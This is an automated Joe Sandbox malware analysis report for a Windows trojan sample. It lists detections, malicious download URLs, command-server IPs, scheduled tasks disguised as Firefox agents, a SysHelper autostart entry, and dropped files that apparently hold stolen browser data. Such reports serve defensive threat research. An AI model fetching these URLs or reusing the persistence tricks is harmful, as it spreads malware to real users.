40.0.ServiceModelReg.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
39.0.DF3A.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
20.1.gbhudtb.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.0.gbhudtb.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.EBBE.exe.2d20e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.CBF0.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.1.Md0q201V1D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.DF3A.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
3.2.Md0q201V1D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.1.bhhudtb.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.2.gbhudtb.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.CBF0.exe.3070e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.ServiceModelReg.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
29.1.CBF0.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.ServiceModelReg.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
3.0.Md0q201V1D.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.EBBE.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.2.aspnet_state.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
14.2.gbhudtb.2be15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.DF3A.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
0.2.Md0q201V1D.exe.2d815a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.0.gbhudtb.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.21.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
29.3.CBF0.exe.3080000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.gbhudtb.2cb15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.0.gbhudtb.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.1.21.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.gbhudtb.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.gbhudtb.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.0.aspnet_state.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
19.0.21.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
30.0.aspnet_state.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
40.2.ServiceModelReg.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
30.0.aspnet_state.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
19.0.21.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.1.gbhudtb.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.21.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.DF3A.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
20.0.gbhudtb.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.0.21.exe.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
30.0.aspnet_state.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
30.0.aspnet_state.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
19.0.21.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.Md0q201V1D.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.21.exe.2cc15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/DetailsDataSet1.xsd	0%	Avira URL Cloud	safe
http://sysaheu90.top/game.exe	16%	Virustotal		Browse
http://sysaheu90.top/game.exe	100%	Avira URL Cloud	malware
http://65.108.80.190/936	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://65.108.80.190/mozglue.dll	0%	URL Reputation	safe
http://65.108.80.190/freebl3.dll	0%	URL Reputation	safe
https://mdec.nelreports.net/api/report?cat=mdocs	0%	Avira URL Cloud	safe
http://65.108.80.190/nss3.dll	0%	URL Reputation	safe
http://65.108.80.190/softokn3.dll	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://194.180.174.181//l/f/SZ0UyXwB3dP17Spzhll9/44498d94a24300ea08dae81ac5b8f477f8279a65	0%	Avira URL Cloud	safe
http://194.180.174.181//l/f/SZ0UyXwB3dP17Spzhll9/cb2d375dd6e8a66a5a24666f2ccf0d937c972efe	0%	Avira URL Cloud	safe
http://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://193.56.146.214/	0%	Avira URL Cloud	safe
http://xacokuo8.top/	100%	Avira URL Cloud	malware
http://hajezey1.top/	100%	Avira URL Cloud	malware
https://api.ip.sb/ip	0%	URL Reputation	safe
https://dns.google	0%	URL Reputation	safe
http://nusurtal4f.net/	0%	Avira URL Cloud	safe
http://znpst.top/dl/buildz.exe	100%	Avira URL Cloud	malware
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://65.108.80.190/706	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://194.180.174.181/	0%	Avira URL Cloud	safe
http://65.108.80.190/	0%	URL Reputation	safe
https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external	0%	URL Reputation	safe
http://65.108.80.190/vcruntime140.dll	0%	URL Reputation	safe
http://65.108.80.190/msvcp140.dll	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
iyc.jelikob.ru	81.177.141.36	true	false	high
accounts.google.com	172.217.168.45	true	false	high
avatars.githubusercontent.com	185.199.109.133	true	false	high
github.com	140.82.121.4	true	false	high
mas.to	88.99.75.82	true	false	high
cdn.discordapp.com	162.159.134.233	true	false	high
znpst.top	211.59.14.90	true	false	high
nusurtal4f.net	45.141.84.21	true	false	high
privacytoolzforyou-6000.top	5.188.88.203	true	false	high
toptelete.top	172.67.160.46	true	false	high
api.2ip.ua	77.123.139.190	true	false	high
clients.l.google.com	142.250.203.110	true	false	high
hajezey1.top	5.188.88.203	true	false	high
sysaheu90.top	5.188.88.203	true	false	high
googlehosted.l.googleusercontent.com	142.250.203.97	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
xacokuo8.top	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
telegalive.top	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sysaheu90.top/game.exe	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://65.108.80.190/936	false	Avira URL Cloud: safe	unknown
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://65.108.80.190/mozglue.dll	false	URL Reputation: safe	unknown
http://65.108.80.190/freebl3.dll	false	URL Reputation: safe	unknown
http://65.108.80.190/nss3.dll	false	URL Reputation: safe	unknown
http://65.108.80.190/softokn3.dll	false	URL Reputation: safe	unknown
http://194.180.174.181//l/f/SZ0UyXwB3dP17Spzhll9/44498d94a24300ea08dae81ac5b8f477f8279a65	true	Avira URL Cloud: safe	unknown
http://194.180.174.181//l/f/SZ0UyXwB3dP17Spzhll9/cb2d375dd6e8a66a5a24666f2ccf0d937c972efe	true	Avira URL Cloud: safe	unknown
http://toptelete.top/agrybirdsgamerept	true	Avira URL Cloud: malware	unknown
http://193.56.146.214/	false	Avira URL Cloud: safe	unknown
http://xacokuo8.top/	true	Avira URL Cloud: malware	unknown
http://hajezey1.top/	true	Avira URL Cloud: malware	unknown
http://nusurtal4f.net/	false	Avira URL Cloud: safe	unknown
http://znpst.top/dl/buildz.exe	true	Avira URL Cloud: malware	unknown
http://65.108.80.190/706	false	Avira URL Cloud: safe	unknown
http://194.180.174.181/	true	Avira URL Cloud: safe	unknown
http://65.108.80.190/	false	URL Reputation: safe	unknown
http://65.108.80.190/vcruntime140.dll	false	URL Reputation: safe	unknown
http://65.108.80.190/msvcp140.dll	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DetailsDataSet1.xsd	DF3A.exe.10.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high
https://duckduckgo.com/ac/?q=	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903580015046828032/039F9A54.jpg	DEDC.exe.10.dr	false		high
http://ocsp.sectigo.com0	CD17.exe.10.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/cleardot.gif	craw_window.js.34.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903580013041967104/06ED9A1B.jpg	DEDC.exe.10.dr	false		high
https://js.monitor.azure.com/	Network Action Predictor.34.dr	false		high
https://play.google.com	f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false		high
https://sandbox.google.com/payments/v4/js/integrator.js	craw_window.js.34.dr, manifest.json.34.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903580017093660692/A303D181.jpg	DEDC.exe.10.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903579324031074365/ECF88C37.jpg	FD36.exe.10.dr	false		high
https://accounts.google.com/MergeSession	craw_window.js.34.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg	B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp, B096.exe.10.dr	false		high
https://www.google.com	f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false		high
https://mdec.nelreports.net/api/report?cat=mdocs	Reporting and NEL.36.dr	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg	DF3A.exe.10.dr	false		high
https://accounts.google.com	f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false		high
https://sectigo.com/CPS0D	CD17.exe.10.dr	false	URL Reputation: safe	unknown
https://apis.google.com	f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.34.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg	B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp, B096.exe.10.dr	false		high
https://www-googleapis-staging.sandbox.google.com	craw_window.js.34.dr, craw_background.js.34.dr	false		high
http://www.sqlite.org/copyright.html.	sqlite3.dll.35.dr	false		high
https://clients2.google.com	f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903196811345395712/6058E8D5.jpg	D8D0.exe.10.dr	false		high
https://api.ip.sb/ip	B096.exe, 00000018.00000002.503371064.0000000003E09000.00000004.00000001.sdmp, aspnet_state.exe, 0000001E.00000000.439226875.0000000000402000.00000040.00000001.sdmp, DF3A.exe, 00000027.00000000.489693993.0000000000402000.00000040.00000001.sdmp, ServiceModelReg.exe, 00000028.00000000.483819247.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://dns.google	f3f072f8-9740-417a-a88b-dfe93adcb8b1.tmp.36.dr, f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.34.dr, craw_background.js.34.dr	false		high
https://www.google.com/intl/en-US/chrome/blank.html	craw_background.js.34.dr	false		high
https://ogs.google.com	f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high
https://cdn.discordapp.com/attachments/8	B096.exe	false		high
https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D378.jpg	BBE1.exe, 0000001B.00000000.422812164.0000000000792000.00000002.00020000.sdmp, BBE1.exe.10.dr	false		high
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.34.dr, manifest.json.34.dr	false		high
http://fontello.com	B096.exe, B096.exe.10.dr	false		high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	DF3A.exe.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high
https://cdn.discordapp.com	B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp	false		high
https://www.google.com/images/x2.gif	craw_window.js.34.dr	false		high
https://ac.ecosia.org/autocomplete?q=	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	CD17.exe.10.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/dot2.gif	craw_window.js.34.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	CD17.exe.10.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903580019203387432/930B55FC.jpg	DEDC.exe.10.dr	false		high
https://clients2.googleusercontent.com	f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	false		high
https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external	Reporting and NEL.36.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high
https://www.google.com/	manifest.json.34.dr	false		high
https://clients2.google.com/service/update2/crx	manifest.json.34.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.203.110	clients.l.google.com	United States	15169	GOOGLEUS	false
194.180.174.181	unknown	unknown	39798	MIVOCLOUDMD	true
162.159.135.233	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.168.45	accounts.google.com	United States	15169	GOOGLEUS	false
162.159.130.233	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.203.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.199.109.133	avatars.githubusercontent.com	Netherlands	54113	FASTLYUS	false
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
81.177.141.36	iyc.jelikob.ru	Russian Federation	8342	RTCOMM-ASRU	false
172.67.160.46	toptelete.top	United States	13335	CLOUDFLARENETUS	false
211.59.14.90	znpst.top	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false
45.141.84.21	nusurtal4f.net	Russian Federation	206728	MEDIALAND-ASRU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
5.188.88.203	privacytoolzforyou-6000.top	Russian Federation	34665	PINDC-ASRU	false

Private

IP
192.168.2.1
192.168.2.3
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511702
Start date:	29.10.2021
Start time:	14:08:08
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Md0q201V1D.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@74/167@62/20
EGA Information:	Failed
HDC Information:	Successful, ratio: 51.1% (good quality ratio 29.2%) Quality average: 29% Quality standard deviation: 30.2%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.4.86, 20.82.210.154, 20.54.110.249, 173.222.108.210, 173.222.108.226, 40.112.88.60, 80.67.82.235, 80.67.82.211, 172.217.168.14, 23.203.70.208, 23.36.225.185, 172.217.168.67, 173.194.182.201, 173.194.182.73, 13.107.246.60, 13.107.213.60, 142.250.203.106, 52.178.17.2, 20.189.173.21, 142.250.203.99 Excluded domains from analysis (whitelisted): aijscdn2.afd.azureedge.net, onedscolprdweu02.westeurope.cloudapp.azure.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, r4.sn-4g5e6ns7.gvt1.com, e11290.dspg.akamaiedge.net, update.googleapis.com, watson.telemetry.microsoft.com, www.gstatic.com, fs.microsoft.com, content-autofill.googleapis.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, part-0032.t-0009.t-msedge.net, ris.api.iris.microsoft.com, r4.sn-4g5e6nss.gvt1.com, blobcollector.events.data.trafficmanager.net, dual.part-0032.t-0009.t-msedge.net, r4---sn-4g5e6nss.gvt1.com, docs.microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, redirector.gvt1.com, onedsblobprdwus16.westus.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, docs.microsoft.com-c.edgekey.net.globalredir.akadns.net, r4---sn-4g5e6ns7.gvt1.com, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, wu-shim.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, e13630.dscb.akamaiedge.net, firstparty-azurefd-prod.trafficmanager.net, download.windowsupdate.com.edgesuite.net, aijscdn2.azureedge.net, browser.events.data.microsoft.com, go.microsoft.com.edgekey.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, docs.microsoft.com, wcpstatic.microsoft.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:09:40	Task Scheduler	Run new task: Firefox Default Browser Agent BF8D87ED27EA04ED path: C:\Users\user\AppData\Roaming\gbhudtb
14:10:34	API Interceptor	7x Sleep call for process: C066.exe modified
14:10:57	Task Scheduler	Run new task: Firefox Default Browser Agent A4EC042678D4669E path: C:\Users\user\AppData\Roaming\bhhudtb
14:11:02	Task Scheduler	Run new task: Firefox Default Browser Agent 621E197CCCA21806 path: C:\Users\user\AppData\Roaming\fehudtb
14:11:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\1ba0d279-1ad8-451e-a70f-de201594af59\C295.exe" --AutoStart
14:11:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\1ba0d279-1ad8-451e-a70f-de201594af59\C295.exe" --AutoStart
14:11:27	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\1ba0d279-1ad8-451e-a70f-de201594af59\C295.exe s>--Task
14:11:40	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\AQNoUsTOxr Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.7814144457324289
Encrypted:	false
SSDEEP:	96:dIQLKnlxKp2LK3IQkKylSK62kK0L62y7z3qU+bDoYysX0uhnydVjN9DLjGQLBE3M:962I+bDo3irhnydVj3XBBE3ud
MD5:	D9EB8022FD3B8EE752008BD119F0FBBB
SHA1:	32B613EFA72902BFB39EA6FF27B0E9F8D3985A33
SHA-256:	69858096A6332A75B2B491B0AB2DFD8359123FB17B794DD7BA84373DC34B1484
SHA-512:	87C58557D1D8E3DAA6053C5D4C7210378ADA090BA3EB22FE5306DFC234A98AB86EF7E212696CA6576072E535ECE3D6F1C44750843B555D773EBA4E29A1B619B7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\chrome_urls.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	1429
Entropy (8bit):	5.274877286745222
Encrypted:	false
SSDEEP:	24:MZTRbQJwlnu4EIfoMmQJwlnu4EjH9oMmQJwlnu4GTRbQJwlWu4gIfoMmQJwlWu4W:AlpMIQPM2P+lp9IQP92PE
MD5:	4347CC65785803494752CF2338D19AAB
SHA1:	B68A8009D28D1BC48DA8964FFC446696964058E9
SHA-256:	B217C805BAF5AA4D69E3BC4A51859827E613253E7B55CBCD3B07560D5C2115FA
SHA-512:	FDB0D5A4151C4C26B7E8BEC6A35A16DFAED941C5D3072D830A925EB83DBE731811F8C259BB36284FEC8BD86202DA5BB4E5E681F1819486FECCE7CDC2EF119760
Malicious:	false
Reputation:	unknown
Preview:	URL: http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0..Count: 2..Last visit: 2021-10-29 21:10:29......URL: https://docs.microsoft.com/dotnet/framework/install/application-not-started?version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0..Count: 2..Last visit: 2021-10-29 21:10:29......URL: https://docs.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0..Count: 2..Last visit: 2021-10-29 21:10:29......URL: http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0..Count: 2..Last visit: 2021-10-29 21:10:50......URL: https://docs.microsoft.com/dot

C:\Users\user\AppData\LocalLow\fPT59QhKSGE.zip Download File
Process:	C:\Users\user\AppData\Local\Temp\C066.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	1841
Entropy (8bit):	7.634695689852965
Encrypted:	false
SSDEEP:	24:9jTO6RC/Ep21CPXRsy8zeRiByTkmKdLzGDz7ytNvN2bEVm3jWzuq1OSdFN5y6v88:9NCsMUXR1niBjjmP62QdzuKOW5y6F
MD5:	2C527C1F4D30880EA86DDE4C0CC1CD23
SHA1:	01FDEBB33BB4E6234DC360A7C895B8DD4AC6EB8F
SHA-256:	C5F7E2C50ADD5B0D058EF07659A7E437B73516D652B7927B2698B64B5C3412B2
SHA-512:	58A4EB7CB8E5B2F2C4BEEE3A2FCF16D5B30B83097638D914B43C422D975F78EAEFD08C9ACE05D65106BED87042AB7F08AC301DCA501DB700580EA971E8C761F1
Malicious:	false
Reputation:	unknown
